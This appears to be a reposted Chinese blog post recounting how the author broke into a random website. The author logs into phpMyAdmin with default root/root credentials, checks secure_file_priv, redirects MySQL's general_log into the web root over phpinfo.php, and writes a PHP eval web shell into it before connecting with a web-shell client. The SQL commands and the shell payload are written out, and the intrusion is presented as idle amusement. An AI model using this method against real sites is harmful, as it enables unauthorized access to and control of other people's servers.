文章来源:安全判官
吃饱了没事干。也没有女粉丝跟我聊人生。哎!一个惨字怎可了得?
咳咳。回归正题。偶然遇到一个站。分享下过程
探针I.php 访问正常 phpmyadmin 访问正常 phpinfo正常~
看到phpmyadmin的第一眼,想都不用想,拿起国际统一的root root 就是一顿进
别问,问就是弱口令。只要脸够白,没有我弱口令拿不下的站!
好了,不扯了。接下来先验证下secure-file-priv
(科普:
secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定目录的。
当secure_file_priv的值为null ,表示限制mysql 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysql 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysql 的导入|导出做限制)
语句:SHOW VARIABLES LIKE 'secure_file_priv'
secure_file_priv值为空 ,不可直接getshell。
那就换一种方法~ 用日志覆盖
首先查询下日志的情况
语句:SHOW VARIABLES LIKE 'general_log%'
(再次科普:general log 指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭)
(PS:路径我已经改过了,别杠)
日志默认是关闭的。我们需要开启,并且指定日志路径。路径为绝对路径,可在phpinfo或者php探针中找到
语句:
set global general_log = "ON";
set global general_log_file='网站下物理路径';
我改成了/home/wwwroot/default/1.php
结果尴尬了。可能是目录访问设置,1.php访问不了。所以我直接覆盖在phpinfo.php上~
接下来只需要查询<?php eval($_POST[x]);?> 这样的小马。log就会被记录到phpinfo.php 。由于文件是.php 后缀。所以查询内容<?php eval($_POST[x]);?> 也会被执行~
语句:
OK了。接下来访问phpinfo.php
就写入成功了~ 菜刀链接
到这就结束了~ 没有任何技术含量。同款教材百度一搜一大片~
纯属个人无聊分享,仅供娱乐
推荐文章++++